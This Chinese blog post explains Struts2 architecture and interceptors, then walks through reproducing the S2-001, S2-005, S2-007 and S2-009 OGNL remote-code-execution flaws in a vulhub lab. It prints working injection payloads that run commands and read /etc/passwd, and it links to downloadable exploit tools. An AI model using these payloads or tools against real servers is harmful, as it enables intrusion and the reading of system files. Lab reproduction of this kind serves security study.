THIS IS B3c0me

记录生活中的点点滴滴

0%

Struts2

struts2介绍

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。struts使系统的脉络更加清晰。通过一个配置文件,即可把握整个系统各部分之间的联系,这对于后期的维护有着莫大的好处。

特点

  • Struts 2的应用可以不依赖于Servlet API和Struts API 。
  • Struts 2 提供了拦截器,利用拦截器可以进行AOP编程。
  • Struts 2 提供了类型转换器。
  • Struts 2 提供支持多种表现层技术,如:JSP 、 freeMarker等。
  • Struts 2 的输入校验可以指定方法进行校验。
  • Struts 2 提供了全局范围、包范围和Action范围的国际化资源文件管理实现。

工作原理

1、客户端初始化一个指向Servlet容器(例如Tomcat)的HttpServletRequest请求

2、这个请求经过一系列的过滤器(Filter)【ActionContextCleanUp的可选过滤器(延长action中属性的生命周期,包括自定义属性,以便在jsp页面中进行访问,让actionContextcleanup过滤器来清除属性,不让action自己清除)】

3、接着FilterDispatcher被调用,FilterDispatcher询问ActionMapper来决定这个请是否需要调用某个Action

4、如果ActionMapper决定需要调用某个Action,FilterDispatcher把请求的处理交给ActionProxy

5、ActionProxy通过ConfigurationManager询问框架的配置文件,找到需要调用的Action类 ,这里,我们一般是从struts.xml配置中读取

6、ActionProxy创建一个ActionInvocation的实例(invocation:调用)

7、ActionInvocation实例使用命名模式来调用,在调用Action的过程前后,涉及到相关拦截器(Intercepter)的调用

​ ActionInvocation是Xworks 中Action 调度的核心。而对Interceptor 的调度,也正是由ActionInvocation负责。ActionInvocation 是一 个接口,而DefaultActionInvocation 则是Webwork 对ActionInvocation的默认实现。

​ Interceptor的调度流程大致如下:

​ 1.ActionInvocation初始化时,根据配置,加载Action相关的所有Interceptor。

​ 2.通过ActionInvocation.invoke方法调用Action实现时,执行Interceptor。

8、一旦Action执行完毕,ActionInvocation负责根据struts.xml中的配置找到对应的返回结果。返回结果通常是(但不总是,也可能是另外的一个Action链)一个需要被表示的JSP或者FreeMarker的模版。在表示的过程中可以使用Struts2 框架中继承的标签。在这个过程中需要涉及到ActionMapper

struts2拦截器

拦截器是在访问某个Action或Action的某个方法,字段之前或之后实施拦截,并且Struts2拦截器是可插拔的,拦截器是aop的一种实现

拦截器栈(Interceptor Stack):Struts2拦截器栈就是将拦截器按一定的顺序联结成一条链。在访问被拦截的方法或字段时,Struts2拦截器链中的拦截器就会按其之前定义的顺序被调用

拦截器栈工作原理

拦截器实现类

struts2规定用户自定义拦截器必须实现com.opensymphony.xwork2.interceptor.Interceptor接口

该接口声明了3个方法

1
2
3
4
5
void init();

void destroy();

String intercept(ActionInvocation invocation) throws Exception;

抽象类AbstractInterceptor实现了Interceptor接口,提供了init和destroy方法的空实现。如果我们的拦截器不需要打开资源,则可以无需实现这两个方法。可通过继承AbstractInterceptor抽象类来实现自定义拦截器会更简单】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package interceptor;
import com.opensymphony.xwork2.ActionInvocation;
import com.opensymphony.xwork2.interceptor.Interceptor;
public class MyInterceptor implements Interceptor {
  public void destroy() {
  // TODO Auto-generated method stub
  }
  public void init() {
  // TODO Auto-generated method stub
  }
  public String intercept(ActionInvocation invocation) throws Exception {
   System.out.println("Action执行前插入 代码");
    //执行目标方法 (调用下一个拦截器, 或执行Action)
  final String res = invocation.invoke();
  System.out.println("Action执行后插入 代码");
  return res;
}
}

自定义拦截器

1
2
3
4
5
6
7
8
9
10
11
12
<package name="custom" extends="struts-default" namespace="/">
<interceptors>
<!-- 定义拦截器 -->
<interceptor name="拦截器名" class="拦截器实现类"/>
<!-- 定义拦截器栈 -->
<interceptor-stack name="拦截器栈名">
<interceptor-ref name="拦截器一"/>
<interceptor-ref name="拦截器二"/>
</interceptor-stack>
</interceptors>

</package>

使用拦截器

1
2
3
4
5
6
7
8
<action name="user" class="com.userAction">
<result name="success">/success.jsp</result>
<result name="error">/error.jsp</result>
<!-- 使用拦截器,一般配置在result之后, -->
<!-- 引用系统默认的拦截器 -->
       <interceptor-ref name="defaultStack"/>
<interceptor-ref name="拦截器名或拦截器栈名"/>
</action>

如果为Action指定了一个拦截器,则系统默认的拦截器栈将会失去作用。为了继续使用默认拦截器,需要在自己定义的拦截器栈中手动引入了默认拦截器。

【默认的拦截器中有一个名为params的拦截器,它的作用是“将请求的参数设置到Action中”,也就是说,如果你从页面中传值到Action,即拦截请求参数,并赋值给action里的属

性,而且你自定义的拦截器要用到这些值栈中的值,则你的拦截器栈中,需要在自定义拦截器前面加上默认的拦截器】

 struts2 已经提供了丰富多样的,功能齐全的拦截器实现。在struts2的jar包内的struts-default.xml可以查看到关于默认的拦截器与拦截器链的配置。

拦截器 名字 说明
Alias Interceptor alias 在不同请求之间将请求参数在不同名字件转换,请求内容不变
Chaining Interceptor chain 让前一个Action的属性可以被后一个Action访问,现在和chain类型的result()结合使用。
Checkbox Interceptor checkbox 添加了checkbox自动处理代码,将没有选中的checkbox的内容设定为false,而html默认情况下不提交没有选中的checkbox。
Cookies Interceptor cookies 使用配置的name,value来是指cookies
Conversion Error Interceptor conversionError 将错误从ActionContext中添加到Action的属性字段中。
Create Session Interceptor createSession 自动的创建HttpSession,用来为需要使用到HttpSession的拦截器服务。
Debugging Interceptor debugging 提供不同的调试用的页面来展现内部的数据状况。
Execute and Wait Interceptor execAndWait 在后台执行Action,同时将用户带到一个中间的等待页面。
Exception Interceptor exception 将异常定位到一个画面
File Upload Interceptor fileUpload 提供文件上传功能
I18n Interceptor i18n 记录用户选择的locale
Logger Interceptor logger 输出Action的名字
Message Store Interceptor store 存储或者访问实现ValidationAware接口的Action类出现的消息,错误,字段错误等。
Model Driven Interceptor model-driven 如果一个类实现了ModelDriven,将getModel得到的结果放在Value Stack中。
Scoped Model Driven scoped-model-driven 如果一个Action实现了ScopedModelDriven,则这个拦截器会从相应的Scope中取出model调用Action的setModel方法将其放入Action内部。
Parameters Interceptor params 将请求中的参数设置到Action中去。
Prepare Interceptor prepare 如果Acton实现了Preparable,则该拦截器调用Action类的prepare方法。
Scope Interceptor scope 将Action状态存入session和application的简单方法。
Servlet Config Interceptor servletConfig 提供访问HttpServletRequest和HttpServletResponse的方法,以Map的方式访问。
Static Parameters Interceptor staticParams 从struts.xml文件中将中的中的内容设置到对应的Action中。
Roles Interceptor roles 确定用户是否具有JAAS指定的Role,否则不予执行。
Timer Interceptor timer 输出Action执行的时间
Token Interceptor token 通过Token来避免双击
Token Session Interceptor tokenSession 和Token Interceptor一样,不过双击的时候把请求的数据存储在Session中
Validation Interceptor validation 使用action-validation.xml文件中定义的内容校验提交的数据。
Workflow Interceptor workflow 调用Action的validate方法,一旦有错误返回,重新定位到INPUT画面
Parameter Filter Interceptor N/A 从参数列表中删除不必要的参数
Profiling Interceptor profiling 通过参数激活profile

如果为了简化struts.xml文件的配置,避免在每个Action重复配置该拦截器,可以将拦截器配置成了一个默认拦截器栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<struts>
<package name="test" extends="struts-default" namespace="/">

<interceptors>
<!-- 定义拦截器 -->
<interceptor name="customInterceptor"
class="com.testInterceptor" />
<!-- 定义一个拦截器栈 -->
<interceptor-stack name="mydefault">
<interceptor-ref name="defaultStack" />
<interceptor-ref name="customInterceptor" />
</interceptor-stack>
</interceptors>

<!-- 定义默认拦截器 -->
<default-interceptor-ref name="mydefault" />

<!-- 定义全局处理结果 -->
<global-results>
<!-- 逻辑名为login的结果,映射到/login.jsp页面 -->
<result name="login">/login.jsp</result>
</global-results>

<action name="user" class="com.UserAction" >
<result name="success">/success.jsp</result>
</action>
</package>

<package name="test1" extends="struts-default" namespace="/">
<action name="admin" class="com.UserAction" >
<result name="success">/success.jsp</result>
</action>
</package>
</struts>

一旦在某个包下定义了默认拦截器栈,在该包下的所有action都会使用此拦截器栈。对于那些不想使用这些拦截器栈的action,则应该将它放置在其它的包下【如:test1】

拦截器与过滤器的区别:

 1.拦截器是基于java反射机制的,而过滤器是基于函数回调的。
 2.过滤器依赖于servlet容器,而拦截器不依赖于servlet容器。
3.拦截器只能对Action请求起作用,而过滤器则可以对几乎所有请求起作用。
 4.拦截器可以访问Action上下文、值栈里的对象,而过滤器不能。
 5.在Action的生命周期中,拦截器可以多次调用,而过滤器只能在容器初始化时被调用一次。

Struts2框架识别

  • 通过网页后缀来进行判断,如.do或者.action

  • 判断/struts/webconsole.html是否存在来进行判断,

这个功能是开发人员调试时使用的,所以需要devMode为TRUE

Struts2漏洞复现

1、S2-001(OGNL 循环解析导致的 RCE 漏洞)

漏洞原理

用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

1
OGNLObject-Graph Navigation Language的缩写,它是一种功能强大的表达式语言(Expression Language,简称为EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。
影响版本

Struts 2.0.0 - 2.0.8

环境搭建

本次测试使用 vulhub 靶场搭建

vuluhub 靶场下载好后,进入本次的漏洞环境,并启动

1
2
3
4
.../vulhub/struts2/s2-001

docker-compose up -d //靶场的编译和运行
docker-compose ps //查看是否启动

如下界面说明搭建成功

打开测试页面:ip:8080端口

POC:

1.在密码处输入%{'123'}

2.点击提交

3.成功解析 OGNL 表达式,即存在漏洞

EXP:
  1. 获取 tomcat 路径:

    1
    %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

    成功返回

2.获取网站真实路径:

1
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

3.执行命令

替换命令即可执行指令

1
2
3
4
5
6
7
8
9
10
11
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"命令"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

例如:替换命令whoami

如果执行的命令之间有空格,需要分别用引号包含

1
2
3
4
5
6
7
8
9
10
11
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

2、S2-005(S2-003 的绕过)

漏洞原理

s2-005漏洞源于S2-003(受影响版本:低于Struts 2.0.12),struts2会将 http 的每个参数名解析为 OGNL 语句执行(可理解为java代码)。OGNL表达式通过#来访问 Struts 的对象,Struts框架通过过滤#字符防止安全问题,然而通过 unicode 编码(\u0023)或8进制(\43)就可以绕过安全限制。

对于S2-003漏洞,官方通过增加安全配置即沙盒机制(禁止静态方法allowStaticMethodAcces、MethodAccessor.denyMethodExecution调用和类方法执行等)来修补,但是攻击者可以利用OGNL表达式将 allowStaticMethodAccess设置为true,MethodAccessor.denyMethodExecution设置为false,就可以绕过这个沙盒机制导致S2-005漏洞。

也就是说S2-005漏洞是对S2-003漏洞补丁的绕过

影响版本

Struts 2.0.0 - Struts 2.1.8.1

环境搭建

同1

访问ip:8080出现如下界面说明环境搭建成功

POC

1.执行任意命令(无回显,空格用@代替)

这个 POC会创建一个success文件

1
?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

抓包添加 payload,往/tmp/目录下写入success文件

进入容器查看发现成功创建success文件

注意:是进入容器!

1
2
3
docker ps #查看当前运行的容器
docker exec -it CONTAINER-ID bash # 获取容器bash
ls /tmp/ #查看容器目录

EXP

需要使用工具

1.工具1

下载地链接:https://pan.baidu.com/s/1GnubCDegksD0GYZcbAcfHg,提取码:1111

  • 获取目标信息

  • 执行命令

2.工具2

链接:https://pan.baidu.com/s/1a87zkitH5nzN9KVJWEhgSg,提取码:1111

…这个工具有点强大

3、S2-007(验证类型转换错误时,会导致二次表达式解析)

漏洞原理

S2-007漏洞一般出现在表单处,当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回

例如下面这个 UserAction-validation.xml 验证表单

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1</param>
<param name="max">150</param>
</field-validator>
</field>
</validators>

当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式

影响版本

Struts 2.0.0-2.2.3

环境搭建

同上

搭好后ip:8080界面如下:

POC

在年龄age框中输入下面的非数字类型值,点击登陆,name和email随便输

payload的两端加'+ +'是为了闭合这里 "'" + value + "'" 两端的引号,放入的value值变成了''+(#xxxx)+''的形式才可以成功解析

1
'+(1+1)+'  

年龄框的非数字字符变成了11,证明漏洞存在

EXP

在年龄age框输入要执行的任意代码的EXP,点击提交,页面会返回响应的执行结果

执行任意命令EXP(id)

1
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

cat /etc/passwd:

4、S2-009 远程代码执行漏洞 (CVE-2011-3923)

漏洞原理

Struts2 对 s2-003 的修复方法是禁止#号,于是 s2-005 通过使用编码\u0023或\43来绕过;后来 Struts2 对 s2-005 的修复方法是禁止\等特殊符号,使用户不能提交反斜线。

但是,如果当前 action 中接受了某个参数 example,这个参数将进入 OGNL 的上下文。所以,我们可以将 OGNL 表达式放在 example 参数中,然后使用 /helloword.acton?example=&(example)(‘xxx’)=1 的方法来执行它,从而绕过官方对#、\ 等特殊字符的防御

影响版本

Struts 2.1.0-2.3.1.1

环境搭建

同上

搭建成功访问ip:8080如下:

EXP

我们的目标是去找一个接受了参数,参数类型是 string 的 action。在源码中可以找到这个文件
WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class Example5Action extends ActionSupport {

private static final long serialVersionUID = 2111967621952300611L;

private String name;
private Integer age;

public String getName() { return name; }
public void setName(String name) { this.name = name; }

public Integer getAge() { return age; }
public void setAge(Integer age) { this.age = age; }

@Override
public String execute() throws Exception {
return SUCCESS;
}
}

可以看到,其接受了 name 参数并调用 setName 将其赋值给私有属性 this.name,正是符合我们的要求。然后去 WEB-INF/src/java/struts-ajax.xml 看一下 URL 路由:

1
2
3
4
5
6
7
8
<package name="ajax" extends="struts-default">
...
<action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
<result name="input">/ajax/tabbedpanel/example5.jsp</result>
<result>/ajax/tabbedpanel/example5Ok.jsp</result>
</action>
...
</package>

name=example5,所以访问 http://ip:8080/ajax/example5.action 即可访问该控制器。按照原理中说到的方法,将 OGNL 利用代码放在 name 参数里,即可利用该漏洞:

1
2
3
4
age=123&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+#_memberAccess["allowStaticMethodAccess"]=true,+#a=@java.lang.Runtime@getRuntime().exec("[命令]").getInputStream(),#b=new+java.io.InputStreamReader(#a),#c=new+java.io.BufferedReader(#b),#d=new+char[51020],#c.read(#d),#kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kxlzx.println(#d),#kxlzx.close())(meh)&z[(name)('meh')]


?age=123&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%22id%22).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)%23z[(name)(%27meh%27)]

参考:

欢迎关注我的其它发布渠道